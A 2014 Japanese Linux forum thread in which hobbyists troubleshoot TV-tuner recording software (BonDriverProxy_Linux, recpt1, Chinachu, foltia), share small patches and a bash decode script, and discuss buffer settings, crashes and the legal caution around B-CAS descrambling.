これが問題なく動くかどうかである程度の問題の切り分けができそうかな、と言うものです
#これに関しては、当方ではHyper-V上のCentOS 6.5で特に問題なく動作する事を確認しています
0490login:Penguin
2014/07/02(水) 15:14:41.72ID:OZyIazCqepgrecUNA版もdebian系向けだった気がする
0491login:Penguin
2014/07/03(木) 00:07:17.50ID:LQRgd6Tw>>483で1チューナーに2接続上と書いたのは、書いたときには正確な個数が
よくわからなかったからでして、動作確認として、TVTestを1個起動し、S0,S1,
T0,T1とBonDriver(チューナー)を切り替えて表示させると特に問題なく表示して
くれたので、嬉しくなってTVTestを1個、2個…と追加で起動していくうちに起こっ
たので何個からか良くわからなかったのです。まあ、最低2接続以上だろうという
ことで書いたのですが…。
(1)ノートPCで無線LAN(>>483の場合)
クライアントはノートPCで無線LANを挟んでいます。
クライアント : ノートPC (Windows + TVTest + BonDriver_Proxy_W3PE_S0.dll)
--- 無線LAN --- ルーター --- 有線LAN ---
サーバー : デスクトップPC (CentOS + BonDriverProxy + BonDriver_LinuxPT_W3PE_S0.so + PX-W3PE)
【ネットワーク絡みの何か】というのであれば見るからに無線LANが飽和しそう
です。それなら、転送量の多いBSをどんどん起動していけばそのうち起きそうです。
実際にやってみた所、BS4個目からTVTestの表示が壊れ始め、Packet Queue OVERFLOWの
メッセージが表示されました。推察どおりネットワークの問題で同一チューナー2接続
以上とか関係なかったです。
(2)デスクトップPCで有線LAN
だったらということで、クライアントをデスクトップPCにしCPUパワーをあげて
かつ有線LANでネットワークを安定させてみたところTVTestを7個程度起動して
もきちんと表示してくれました。ですので、間違いなくネットワークの問題で
PX-W3PEは関係ないです。さらに追加でPT3をサーバーに差して確認してみま
したが同じ結果でした。
0492login:Penguin
2014/07/03(木) 01:34:01.24ID:LQRgd6Tw(3)BonDriverProxyプロセスの終了
再度確認したのですが、Packet Queue OVERFLOWのメッセージが
表示された後しばらくするとBonDriverProxyが終了するのではなく、
連続してTVTestを起動すると、最後に起動したTVTestがハングアップ
状態になります。そうするとメッセージが表示されます。ハングアップ
状態のTVTestを除いて、動作していそうなTVTestのうちどれか1個を
終了させると、同時にBonDriverProxyのプロセスが終了するという
挙動でした。
-g オプション付加して再コンパイル gdb上で実行、上の手順でプロ
セスが終了した際の出力です。
Program received signal SIGPIPE, Broken pipe.
[Switching to Thread 0x7fffd35fe700 (LWP 31499)]
0x000000315d00ecdc in send () from /lib64/libpthread.so.0
(gdb) backtrace
#0 0x000000315d00ecdc in send () from /lib64/libpthread.so.0
#1 0x0000000000401db5 in cProxyServer::Sender (pv=0x607b70) at BonDriverProxy.cpp:632
#2 0x000000315d0079d1 in start_thread () from /lib64/libpthread.so.0
#3 0x000000315cce8b5d in clone () from /lib64/libc.so.6
こんな感じの挙動かなあと思ったりはしたのですが。
http://d.hatena.ne.jp/y-hamigaki/20070709#1183982184
>>489は後日確認してみます。
0493login:Penguin
2014/07/03(木) 13:18:45.72ID:a1vOG2RQ詳しい確認ありがとうございます
どうやらネットワーク側の問題だったと言うところまで確認できたのなら>>489はもう必要なさそうです
w3pe対応に関しては大丈夫そうとの事で、developからmasterにマージしようかと思います
ネットワーク容量に関しては、BonDriverProxyの場合、デフォルトではTSストリームを定常送信している時
188*1024バイト(TSパケットのバッファサイズ)毎に16バイトのオーバヘッドが付く様になっています
なので、トラフィックの殆どがTSストリーム自身の物なのですが、それでもBSでは1TSストリームで24Mbpsとかになるので、
多数のストリームを送信すると無線では厳しくなってしまいますね
サーバプロセスが死ぬ件は、そのログから確かにSIGPIPEを無視してないからのようです
#元々Windows版からの移植なので対応忘れてました(;´Д`)
今グローバルなロック掛けてる処理をBonDriverのインスタンス毎に分ける形に変更してるところなので、
それと一緒に対応する事にしますね
0494login:Penguin
2014/07/03(木) 14:36:00.20ID:PkrsOdjH0495login:Penguin
2014/07/05(土) 16:11:30.94ID:W/F+l3Z5>>441
plex.cpp (´▽`)アリガト!
0496login:Penguin
2014/07/05(土) 22:57:47.67ID:dQ8aHTrOおお、plex.cppのq3peでの動作確認していただけたと言う事でしょうか
#recpt1で使用とかでしょうか?
お役に立ったのなら何よりです
なお>>493の件、対応完了しております
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux
0497login:Penguin
2014/07/09(水) 01:33:08.89ID:cvRDG/nSWindowsだと内臓ブースターの感度調整ができますが、foltia anime lockerでもできますか?
0498login:Penguin
2014/07/09(水) 02:08:23.38ID:ARuOD0a60499login:Penguin
2014/07/09(水) 02:18:52.63ID:xu7Dt0I9confファイルのPACKET_FIFO_SIZE,TS_FIFO_SIZE,TSPACKET_BUFSIZEを変更すると具体的に何がどんな感じで変わりますか?
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_Proxy.conf#L15-17
TS Queue OVERFLOW : size[64]と出力されます。
0500login:Penguin
2014/07/09(水) 20:10:01.27ID:GgPhQLZWTSPACKET_BUFSIZEはTSストリームをTSキューに放り込む際の一単位のサイズです
TSストリームをデバイスから読み出して、そのサイズまでバッファリングしてから一つのTSデータ用パケットとして
クライアントモジュールに送信します
PACKET_FIFO_SIZEは上記のTSデータ用パケットを含めた通信プロトコルのコマンドパケットのキューサイズです
#普通の使い方をする限り、定常送信中は全部がTSデータ用パケットになるでしょう
TS_FIFO_SIZEは、クライアントモジュールはTSデータ用パケットを受け取ったらTSキューに放り込んでいきますが、
それがアプリケーションに読み出されるまでの間保持しておくためのキューのサイズです
TSPACKET_BUFSIZE * TS_FIFO_SIZEがクライアント側モジュールでTSデータ用に保持される最大バッファサイズです
0501login:Penguin
2014/07/09(水) 20:14:02.70ID:GgPhQLZW例えばネットワーク速度が安定せず、速くなったり遅くなったりするならPACKET_FIFO_SIZEを大きくするとドロップ
しなくなるかもしれません
しかし、絶対的に速度が足りていない場合は、大きくしてもキューサイズを超えるまでの時間が少し延びるだけでしょう
TS_FIFO_SIZEに関しても同じで、アプリケーション側の読み出し方次第です
新規データはサーバ側でどんどんデバイスから読み出され、クライアントモジュールに送られてTSキューに積まれて
いきますが、そのデータをアプリケーションが読み出さない場合、どこかでデータを捨てないとメモリを無尽蔵に
消費する事になるので、そのリミットとしてのTS_FIFO_SIZEです
sample.cppでやってるように、GetTsStream()で読み出したのをそのままファイルに書き出しするような場合は、
余程書き出し先デバイスが遅くない限りは問題にはならないハズです
しかし、読み出した後に同スレッドで何らかの時間の掛かる処理を行っていて、次の読出しまでにTSキューに新規データが
常に複数積まれていく様な状況だと、その内TSキューのサイズはリミットに達してしまうでしょう
この場合、とりあえずデータは読み込んでおいて時間の掛かる処理は別スレッドで、と言うのが王道かと思います
例えば、B-CASカードでのECM処理はかなり遅い部類の処理なので、TS読み出しスレッドとデスクランブルスレッドは
分ける、などのパターンですね
#libarib25を使用する場合は、確か内部に専用バッファを持っていたと思うので、面倒な事は考えなくても大丈夫かも
#しれません…が、未確認です
0502login:Penguin
2014/07/09(水) 20:17:23.99ID:GgPhQLZWと言う訳で、PACKET_FIFO_SIZEもTS_FIFO_SIZEも、平均的には新規データの供給よりも速いペースでデータを捌けるけれど、
何回かに一回は時間が掛かる事があってその時にドロップしてしまう、と言う様な状況でいじると効果があるかもしれない
項目だと思っていただければ大体間違いないかと思います
捌く速度が新規データ供給よりも平均的に遅い場合には、これらのサイズを大きくしても多分時間稼ぎにしかなりません
TSPACKET_BUFSIZEに関しては、大きくしていくと、チャンネル変更の際などにそのサイズ分のバッファが溜まるまで
サーバからデータが来ないので、レスポンスが悪くなっていくでしょう
逆に小さくしていくと、レスポンスは良くなるかわりに各種オーバヘッドが大きくなっていくので、小さくしすぎは
意味が無いでしょう
大体こんな感じでわかるでしょうか…?
長文失礼しました
0503login:Penguin
2014/07/10(木) 00:29:04.36ID:Vdu/474/詳しい情報ありがとうございます。
プログラマーではないので全ては理解できませんが、特に>>502で疑問点はおそらく解決しました。
最後に
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_Proxy.conf
このサンプル設定はunknownさんの環境では十分なサイズなのでしょうか。
0504login:Penguin
2014/07/10(木) 07:02:22.93ID:1ScKKN6Iはい、ウチのテスト環境(Hyper-V上のCentOS6.5、Core i7 3630QMから仮想プロセッサ2つ割り当て、
HDDは容量可変VHDX形式)では、sample+BonDriver_Proxy(キューサイズ等の設定はデフォルト)によって
LAN(1000BASE-T)経由で他のマシンに刺さってるPT2を使って録画、と言うのが特に問題無く出来ています
topで眺めてる限り、上記環境+設定ではsample実行中のCPU負荷も殆ど上昇しない感じです
#これに関しては、想定使用環境を録画用サーバとすると、上記テスト環境は若干CPU性能が高い気はするので、
#参考程度の情報として下さい
0505login:Penguin
2014/07/11(金) 15:34:23.80ID:OUxv2+uDご親切な対応、本当にありがとうございました。
0506login:Penguin
2014/07/11(金) 15:59:09.38ID:dxK0BNE00507login:Penguin
2014/07/11(金) 18:48:10.02ID:6ySvc8u00508login:Penguin
2014/07/12(土) 01:26:29.76ID:QUHdXLZV今更ながら確認しました、ありがとうございます
GitHubの使い方良くわかってないのでなんとなくでやってみましたが、あんな感じで良いんでしょうか…
0509login:Penguin
2014/07/12(土) 21:48:40.06ID:SnB0zLWadlopen: Success と表示されファイルサイズゼロの aaa.ts しか作成されずに終了します。
./sample -b BonDriver_LinuxPT.so -s 0 -c 0 -t 10 -o aaa.ts
dlopen: Success
ソースを見て原因は BonDriverがロードできなかったためとわかったのですが、最初は
エラーメッセージだとは思えなかったので少しハマりました。
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/sample.cpp#L88
perror("dlopen"); を fprintf(stderr, "%s\n",dlerror()); とかに変更すれば、まともなエラー
メッセージになってくれます。
BonDriver_LinuxPT.so: cannot open shared object file: No such file or directory
# BonDriverのロードが成功してから出力ファイルのopenをしたほうが
# サイズゼロの出力ファイルができないので自分としては好みです。
0510login:Penguin
2014/07/12(土) 22:47:38.33ID:9B3a+VZMあんな感じで大丈夫だと思います。
(unknownさんの環境でも確認出来ているならば)
0511login:Penguin
2014/07/13(日) 00:00:43.87ID:n2Vjk8dB0512login:Penguin
2014/07/13(日) 01:49:05.62ID:YTm9Pv5Y確かにその通りですね
とりあえずサンプルはあった方が良いかなとサラッとつくったものなので、エラーはチェックだけやって
メッセージ周りはテキトーでした(;´Д`)失礼しました、修正しておきました
>>510
こんなマイナーなツールにPull Requestが来るなんて全然考えてませんでしたヽ(;´ー`)ノありがとうございました
>>511
確かに、sampleにはCentOS 5.4とかの古めの環境でコンパイル&実行するとダウンキャスト失敗すると言う事を
報告していただいて、-rdynamicオプション付けたんでした
その辺サーバも同じで付けておいた方が無難な気がするので、追加しておきました
0513login:Penguin
2014/07/13(日) 02:20:53.01ID:YTm9Pv5Yと思ったんですが、どうもなんだかよろしくないみたいなので戻しました(;´Д`)
押し入れの中のLinkers & Loaders引っ張り出すべきか…
0514login:Penguin
2014/07/16(水) 00:16:08.34ID:todPSfmoこのマザーボードにはNICとしてQualcomm® Atheros Killer E2201 chip (10/100/1000 Mbit)が採用されており、おそらくはこれが認識されていないために、foltia ANIME LOCKERが使えていません。
まずはインストールについてはhttp://aniloc.foltia.com/manual/appendix-hddinstall.htmlを参考にし、HDDが3台あったので下記のようにして何とか出来ました。
/home/foltia/perl/hddinstaller.pl -d /dev/sda -d /dev/sdb -d /dev/sdc -confirm yes -url http://127.0.0.1/foltia_ANIME_LOCKER_306.img.xz
しかし、その後起動させても以下のように表示され、その後どうすればいいか分かりません。
________________________________________
foltia ANIME LOCKER
You can access http://foltia.local or http://127.0.0.1/
foltia login: Bridge firewalling registered
________________________________________
NICが認識されていればおそらくはDHCPによりプライベートIPアドレスが割り当てられ、ネットワーク上の他パソコンから操作できると思うのですが…
ちなみにE2201ではないですが、E2200については↓のようにlinuxでの動作はするようです
http://ubuntuforums.org/showthread.php?t=2008332
このマザーボードでfoltia ANIME LOCKERを使う方法があればご教示ください。
因みに、拡張ボードには空きがなく、出来ればLANポート増設以外の方法がよいのですが…
0515login:Penguin
2014/07/16(水) 02:26:42.59ID:Rd9MnMt+0516login:Penguin
2014/07/16(水) 08:34:24.03ID:zRntf19q0517login:Penguin
2014/07/16(水) 11:34:02.07ID:fMwVkLO80518514
2014/07/16(水) 22:58:14.62ID:todPSfmo0519login:Penguin
2014/07/23(水) 02:49:41.51ID:UIQy6iIM0520login:Penguin
2014/07/26(土) 00:40:28.44ID:8ZSXKiqIDLNAクライアントで閲覧してるんだが、字幕をONにしても表示されません。
これってそんなもの??
0521login:Penguin
2014/07/26(土) 01:47:32.37ID:t6v8y6+x0522login:Penguin
2014/07/26(土) 13:54:08.49ID:4LQEoPJMそれぐらいよくある話。
0523login:Penguin
2014/07/26(土) 16:00:48.94ID:pZx1Q0T3それもよくある話www
0524login:Penguin
2014/07/26(土) 19:15:45.99ID:t1mYoald0525login:Penguin
2014/07/26(土) 22:06:27.61ID:7IPYc6BL0526login:Penguin
2014/07/26(土) 22:53:20.19ID:lBpGoaG4優秀なエスパーさんが勢ぞろいなんですねw
0527login:Penguin
2014/07/27(日) 10:51:59.71ID:tY684ELHとりあえず、recpt1のオプションに
--strip付いてると思うので除去してみては
0528login:Penguin
2014/07/27(日) 11:01:05.48ID:tY684ELHすまん、--stripいれても字幕入ってた
0529login:Penguin
2014/07/27(日) 12:58:38.24ID:7ePzb8Np使ってるDLNAクライアントがARIBの字幕に対応してるか調べてた?
0530login:Penguin
2014/07/28(月) 17:30:56.36ID:m/Vi1iyq1つルール作ったら予約済欄に2個予約されちまうぜ…
こういうときってどうすりゃいいでしょうか…
0531login:Penguin
2014/07/28(月) 21:37:01.16ID:E+3TlTnW0532login:Penguin
2014/08/02(土) 23:28:29.92ID:s+soKDEh0533362
2014/08/07(木) 22:00:24.80ID:GxNjbWzT今試したけど、どんどん予約できた
0534login:Penguin
2014/08/08(金) 12:46:23.98ID:0t1JUWl+0535login:Penguin
2014/08/09(土) 17:44:54.27ID:AsfeVmjW手動でrecpt1しても、数分ぐらいしかできない。
ログに↓がでるとだめだーーー。
systemd: Started PC/SC Smart Card Daemon.
pcscd: 00000000 utils.c:53:GetDaemonPid() Can't open /var/run/pcscd/pcscd.pid: No such file or directory
CentOS7なんだけど、これじゃまずい?
さっぱりだ・・・・どうすればいいんでしょう?
0536login:Penguin
2014/08/09(土) 18:07:02.68ID:mQ8TOVgQ0537login:Penguin
2014/08/09(土) 18:23:14.34ID:u8uxwlhZ早い話ノイズ耐性や瞬発力が下がってる可能性がある
0538login:Penguin
2014/08/09(土) 18:26:02.51ID:rc5wPGdbでマザボや、電源?
os動かないだろ。
0539login:Penguin
2014/08/09(土) 19:16:47.45ID:/ZynO8GmpcscdはB-CASの解除だけにしか使わないから、動いてなくてもrecpt1は動く
pcscdが動いてないのは /var/run/pcscdがないかパーミッションか所有者がおかしいっぽいけど
0540login:Penguin
2014/08/09(土) 19:19:01.52ID:AsfeVmjWおかしいな。。。
たとえば、recpt1で、10分とかオプションで指定(オプションでは600か)しても、
1分とか、3分ぐらいで勝手に録画が終わってしまう・・・
エラーはでてない
なぜだ・・・
0541login:Penguin
2014/08/09(土) 19:27:08.61ID:rc5wPGdb0542login:Penguin
2014/08/09(土) 19:29:56.44ID:AsfeVmjW再生できます。
0543login:Penguin
2014/08/10(日) 02:28:06.50ID:f94X+Pf1カードリーダー見失ってるのかも
そのメッセージでた直後に、lsusbとかpcsc_scanしてみて
あるいはやわらかい奴かな
0544login:Penguin
2014/08/10(日) 10:04:28.43ID:2FRObZtiどうも、例のログは関係ないらしい。
何もログでないのに、途中で止まる。なぜ・・・
ソースにデバッグコード入れるしかないのか。。。
0545login:Penguin
2014/08/10(日) 18:54:16.10ID:dPQJBXwC0546login:Penguin
2014/08/10(日) 22:50:17.01ID:hcloJPEb0547login:Penguin
2014/08/11(月) 01:20:28.46ID:+lM8QzpO0548login:Penguin
2014/08/12(火) 00:44:10.29ID:aAA1LoVC0549login:Penguin
2014/08/12(火) 06:20:34.08ID:m2fKpwXoいちお情報としてかなり前のにレス
epgrec UNAで同じ症状が出たけどrecpt1をbuildし直したら取得できた
0550login:Penguin
2014/08/12(火) 17:42:52.81ID:FrmrUazc0551login:Penguin
2014/08/16(土) 11:26:43.18ID:g5+q7xCY見てみたが。さっぱり。
途中から突然PT3からの読み取りがなくなっている。
違うディストリ試してみるか
0552login:Penguin
2014/08/19(火) 23:37:09.08ID:I4h+PUKmhttp://hg.honeyplanet.jp/pt1/rev/c8688d7d6382 へのパッチ
→ http://www1.axfc.net/u/3300760
* ログメッセージ(dmesg)のプレフィックスを "PT1: " に統一 (pt3_drvと同様に)
* エラーやドロップが発生しなかった場合はその報告を省略
* モジュールパラメータdebugを変更できるように修正
例) echo 0 > /sys/module/pt1_drv/parameters/debug (ログメッセージを最小限に)
0553login:Penguin
2014/08/20(水) 00:06:57.56ID:YgoPyQnXまずハードじゃないのそれ
0554login:Penguin
2014/08/20(水) 12:31:40.91ID:EMVxX4TTディストリをdebianにして、b25オプション外したら治った。
別原因で止まったりしたが、recpt1直接打ちはうまくいくようになった。
0555login:Penguin
2014/08/20(水) 20:27:01.17ID:g5L5m6zDよく覚えていなけど、以前 ubuntu でも pcscd のとあるバージョンで不具合なかった?
それでパッケージのバージョンを古いのに固定していた時期があったと思うけど。それの可能性は?
0556login:Penguin
2014/08/20(水) 21:30:01.69ID:+tWqmdAb不定期のタイミングでカードリーダを見失ってb25のデコードができなくなるから。
0557login:Penguin
2014/08/20(水) 21:55:37.22ID:g5L5m6zDあれはデコードできなくなるだけなの?
だったら違うか
0558login:Penguin
2014/08/22(金) 03:16:22.15ID:ivHfULC0リポジトリにあるメールアドレスはダミーですか?
libarib25関連のパッチを送ろうかなと思っているのですが。
0559login:Penguin
2014/08/22(金) 09:01:55.71ID:KFky9orq0560login:Penguin
2014/08/22(金) 19:32:41.76ID:MKqaNber元々全然使ってないメールアドレスだったので存在すら忘れかけてました
さっき確認してみたら1か月以上放置してしまったメールとかが…(;´Д`)誠に申し訳ありません
パッチに関してはとても嬉しいのですが、実はデスクランブル機能関連は意図的に避けている部分なんです
特にサーバ部分に組み込んだら、理屈的にはデスクランブル済みのを公衆送信できるシステム扱いできてしまいますので…
こんなニッチなツールの事なんざ権利者さんも気にしねーよ、てのは全くその通りだとは思うのですが、
当方破城槌で石橋叩き、壊れちゃったらやっぱり危なかった渡らずに済んで良かった、と言う感じの
ポリアンナ的メンタルの人間です(;´Д`)
>>550
この間、サーバじゃなくてドライバに1サービス1チャンネル扱いする機能を追加してみたんですが、もしかして
これで用が足りたりしませんか?
#CAT(とEMM)まで削ったのはちとやり過ぎだったかなと思ってるので、それは残す方向に戻すべきかと思案中ですが
0561login:Penguin
2014/08/22(金) 19:51:30.29ID:ivHfULC0同じ理由でプルリクエストではなくてメールにしようと考えてました(当方もチキンです)。
もう少し関連事項(ライブラリの使用だけでもアウトなのか等)を調べてからメールしようと思います。
一応パッチはrecpt1みたいな感じ(ユーザがライブラリをリンクしないと使えない)にしてあるのだけども。
0562login:Penguin
2014/08/23(土) 11:47:12.22ID:+GPqjlNxutil/testのチャンネル列挙ができないけどどこ見たらいい?
なんかch1から列挙しようとしてるみたいだけど、
これ地上波なのかBSなのかわからんのじゃないのかという気がする。
なんかまた俺が勘違いしているのか・・・・
0563login:Penguin
2014/08/23(土) 15:38:33.25ID:+GPqjlNxconf間違ってた。気づかなかったわw
0564login:Penguin
2014/08/24(日) 13:12:03.09ID:pstTkKz2これって単なるドロップ?
ドロップもして、止まるのはなんとならんか。。。
0565login:Penguin
2014/08/24(日) 23:03:33.33ID:VdOCmrwlchardev版PT3ドライバでの話だと思いますが、PT3から取得したTSデータがおかしいとそうなります
そうなった場合、録画を止めるかどうかは録画アプリ次第ですが、仮に止めなくてもそれが発生してる間は
まともなデータは期待できないでしょう
ソフトではなくハード(PT3やメモリだけでなく、アンテナ、ケーブル、分波器等も含んだ何か)の問題ですね
たまになるだけって事なら、普段からアンテナレベルがギリギリとかなんじゃないでしょうか
とりあえずCN比確認してみるのが良いかと
0566login:Penguin
2014/08/24(日) 23:37:23.90ID:BqLcLvkbそれ込みで電波の仕様だよ。不正なデータは発生しうるという仕様。
だからこの場合は、できる限りドライバ内でフォールバックするようにしないと。
テレビがアンテナギリギリでシステムが停止する?
映像は映らなくてもシステム自体は停止しないでしょ?
0567login:Penguin
2014/08/25(月) 01:11:16.65ID:VF+oB84Qいやだから、そうなってもドライバは単にアプリからのread()に0を返すようになるだけですよ
まさにフォールバックですね
録画が止まるならそれはread()が0を返したのを受けてアプリが終了してるだけでしょう
録画を止めるかどうかは録画アプリ次第と言うのはそう言う意味です
あるいは、録画終了時刻まで復帰しなかったら、ファイルだけ後から見れば途中で終了してるように見えるでしょうね
いずれにせよ、少なくともドライバには非は無いと思いますよ
0568login:Penguin
2014/08/25(月) 20:37:24.54ID:PCu13YIt作るにあたってこの構成取ってるまとめサイトが無かったんで、まとめたら需要ってありますか?
0569login:Penguin
2014/08/25(月) 20:48:40.75ID:Zge50iv10570login:Penguin
2014/08/25(月) 20:55:04.22ID:MXNU2n50是非お願いします!
いやマジで!!
0571login:Penguin
2014/08/25(月) 21:01:33.50ID:PCu13YIt色々無理くりやってるので、欠点もありますが...今運用している範疇で作ってきます
0572login:Penguin
2014/08/25(月) 21:52:06.88ID:MXNU2n50本当にありがとうございます!!
0573login:Penguin
2014/08/26(火) 11:04:05.20ID:PAMz3I9n需要ないですよ
0574login:Penguin
2014/08/26(火) 21:36:19.94ID:BpOkUOJ2是非お願いします!
0575login:Penguin
2014/08/26(火) 21:51:25.09ID:SH+I10L8ちょっおまっっ
ちゃんと需要あるから全然あるから
0576login:Penguin
2014/08/27(水) 00:59:28.56ID:1MChGv8J両方使い込んでないと難しいか
0577login:Penguin
2014/08/28(木) 00:34:23.36ID:u3Vrdj9d0578login:Penguin
2014/08/28(木) 00:36:33.79ID:u3Vrdj9d0579login:Penguin
2014/08/28(木) 12:27:15.42ID:0cTXkwdI0580login:Penguin
2014/08/28(木) 12:38:52.91ID:jFp4EclH0581login:Penguin
2014/08/29(金) 04:06:51.23ID:v3ONMbB+http://foltia.com/ANILOC/support/releasenote/pressrelease20140828.html
なるほどなぁ〜
0582login:Penguin
2014/08/31(日) 09:19:00.43ID:VMP6HcFaなるほど・・・
その後、手動でrecpt1すると何事もなく無事なんだが・・・
たまたまなんだろうか。
BSで13.5dBぐらいは低いか?!
0583login:Penguin
2014/08/31(日) 11:45:26.47ID:xX+VaeoE低いんじゃないかな
うちはBS/CSは16-18dBくらい
0584login:Penguin
2014/08/31(日) 11:52:49.66ID:VMP6HcFaまじか・・・ さてどうしたものか。。。
分配しているテレビの方はSHARP表示で90/100とかあるんだけどな・・・・
分配の先が悪いのか。
0585login:Penguin
2014/08/31(日) 11:54:35.77ID:VMP6HcFaもしかして、Linux版も同じようなことしないといけないのか・・・
わからんなぁ。
0586568
2014/08/31(日) 18:14:36.39ID:EugbJio5かなり端折ってますので、わからなかったらスミマセン
ttp://blog.kickitout.net/2014/08/chinachu-bondriverproxy-tvtest_27.html
注意事項にも書いてありますが、B25復号ができないです
運用してみるとCASの都合からPCで復号したほうが良いので方法見つかるまでこのままです
あとはTVTest視聴中にChinachuのEPGスキャンが走ると
チャンネル変更されるのが面倒くさいくらいですが、録画優先のためこれは仕方がないかと
0587568
2014/08/31(日) 18:21:57.37ID:EugbJio5epgrecは使ったことないですね
Chinachuを選んだ理由はルールによる自動録画とストリーミング再生でした
番組表についてはスクロールでしか画面遷移できないので、ここはepgrecが良いと思います
0588login:Penguin
2014/08/31(日) 19:17:14.51ID:vUw0Vf62b25はパイプじゃダメなん?
/usr/local/BDPL/sample 〜(略)〜 | b25 /dev/stdin /dev/stdout 2> /dev/null
0589568
2014/08/31(日) 19:36:32.34ID:EugbJio5試したんですが、駄目でした
まずchinachuにパイプ付きで実行させるとエラーとなり、
shellスクリプトで実行させても/dev/stdinが開けなくてNGです
(エラー内容は忘れました)
0590568
2014/08/31(日) 21:07:03.48ID:Tov9UBtfもちろん録画後に行うので時間はかかりますが...
これ応用すると>>581の自動CMカットも行けそうですね
----------------------------
#!/bin/bash
B25=/usr/local/bin/b25
if [ $# -lt 1 ]; then
echo "$0 {recPath} {jsonProgram}" 1>&2
exit 1;
fi
# B25 decode
${B25} -p 0 -v 0 "$1" "$1.tmp"
if [ -e "$1.tmp" ]; then
if [ $? -eq 0 ]; then
rm -f "$1"
mv "$1.tmp" "$1"
else
rm -f "$1.tmp"
fi
fi
exit
----------------------------
0591login:Penguin
2014/08/31(日) 22:42:25.46ID:pPCOz4VVhttp://www1.axfc.net/u/3309836
0593591
2014/08/31(日) 23:57:03.92ID:pPCOz4VVrecpt1準拠のオプションに対応してみました。
usage: ./sample [--b25 [--round N] [--strip] [--EMM]] [-b bondriver] [-s space_no] [-c channel_no] ( [-t sec] [-o filename] )
--b25: Decrypt using BCAS card
--round N: Specify round number
--strip: Strip null stream
--EMM: Instruct EMM operation
http://www1.axfc.net/u/3309930
0594568
2014/09/01(月) 00:16:30.09ID:PCe7o4Q1既に今日だけで2つも課題(注意事項)が解決しました
BSだけは不明なため、申し訳ないですが各自でお試しください
0595591
2014/09/01(月) 00:47:49.14ID:a7hMx0Xwパッチ後の77行目、write を ::write に書き換えてください。(*ノェノ)
if (dbuf.size > 0) return write(fd, dbuf.data, dbuf.size);
↓
if (dbuf.size > 0) return ::write(fd, dbuf.data, dbuf.size);
0596login:Penguin
2014/09/01(月) 01:01:21.97ID:BNTqI31W0597login:Penguin
2014/09/01(月) 03:26:06.65ID:O9repODIコードを理解してからやること。
0598591
2014/09/01(月) 10:38:32.04ID:a7hMx0Xwはい。
すみません。
patchの56行目も同様のミスありました。
if (!valid) return write(fd, buf, count);
↓
if (!valid) return ::write(fd, buf, count);
鬱だ氏のう(´A`)
0599login:Penguin
2014/09/01(月) 13:44:04.90ID:dFvWFsJ3ttp://pastebin.com/vs229ctE
スレ内で出てたパッチの修正済み
0600591
2014/09/01(月) 17:42:50.72ID:a7hMx0Xw度々申し訳ないです。m(__)m
http://pastebin.com/aHmFYePJ
0601login:Penguin
2014/09/01(月) 17:59:55.44ID:a7hMx0Xwhttp://pastebin.com/PsUJCdsh
0602login:Penguin
2014/09/01(月) 19:22:22.10ID:RUZKEFrJこれをBonDriverProxyに組み込んだら、
鯖のBCASだけで行けるのかな。
録画鯖にBCASつけてる人はクライアントはどうしてるんだろ。共有してんのかな。
0603login:Penguin
2014/09/02(火) 14:47:23.78ID:XL1oxIjN@@ -75,7 +75,7 @@
ssize_t write(int fd, void *buf, size_t count)
{
if (!valid)
- return ::write(fd, buf, count);
+ return write_full(fd, buf, count);
sbuf.data = static_cast<uint8_t*>(buf);
sbuf.size = count;
0604login:Penguin
2014/09/02(火) 17:33:14.10ID:XL1oxIjNhttp://pastebin.com/Ck70qW7C
usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] address port (packet_fifo_size tspacket_bufsize)
e.g. $ ./BonDriverProxy 192.168.0.100 1192
--b25を有効にするときは、
デコード済みのストリームが外部ネットに漏れないよう十分配慮してください。
0605login:Penguin
2014/09/02(火) 23:39:48.14ID:XL1oxIjN・ b25::set_b_cas_cardでエラーになる対策
・ b25::putが失敗した後ハマる対策
>>604のパッチを適用後にパッチしてください。
視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
#b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
放っておけばそのうち流れだすので、とりあえず放置(;´∀`)
0606login:Penguin
2014/09/02(火) 23:59:03.15ID:XL1oxIjN0607login:Penguin
2014/09/03(水) 06:35:33.40ID:ZY4L+Z2d> +#define _FILE_OFFSET_BITS 64
…(;´Д`)
失礼しました
sample.cppの方も直しておきますね
と言うか、sampleがちゃんとサンプルとして機能してるみたいで良い感じですね
細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
1以下である保証は無いです
#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です
0608login:Penguin
2014/09/03(水) 06:52:51.56ID:ZY4L+Z2dサーバでのスクランブル解除はカードの処理能力がボトルネックになる場合があるから注意…
と思ってたんですが、今libarib25をナナメ読みした限りでは、あるサービスに対して最初のECMで購入済みか
チェックして、未購入だった場合は以降のECMはカードに投げない様にしてくれてるみたいですね
#win環境で一般的に使われてるB25Decoder.dllではやってなかったと思います
これならあんまり心配する必要は無さそう
#20チューナー同時稼働とかでない限り
ただその辺りも含めて、libarib25は内部的に色々と現在のTSストリームの状態を保持しているので、
チャンネル変更の際にはそれらの情報の破棄が必要でしょう
> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
の現象も、その内部情報破棄を行っていない事が原因だと推測します
対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います
そうすればb25->put()やb25->get()でコケる事も無くなるかと
実装的には、b25を配信スレッドのローカル変数からcProxyServerのメンバ変数にして、m_pposなどと
同じ様な形で持つのが良いんじゃないでしょうか
b25の取得、release()及びreset()も、m_pposの場所に準じる感じで
#そこでなら排他ロックも掛かってるので
0609login:Penguin
2014/09/03(水) 07:04:53.15ID:ZY4L+Z2dttps://twitter.com/fcartegnie/status/504940291078385664
これが普通に取り込まれて利用可能になったとしたら一つの目安となりますね
#本来的には、そんな事考えないで良いように法律の方でハッキリと線引きしておいて欲しいものですが…
0610login:Penguin
2014/09/03(水) 09:03:42.03ID:sZbKOuDAWindows の BonDriver_HDP2とかはB25デコード後のTSが直接出てきた様な
記憶があるので、BonDriver側(BonDriver_LinuxPT.cpp)でデコード済みのを
返すというのは筋が悪いのですかね?
そうできたら、それより上にあるBonDriverProxy、sampleも特に変更しないで
良さそうな気がしてるのですが。
0611login:Penguin
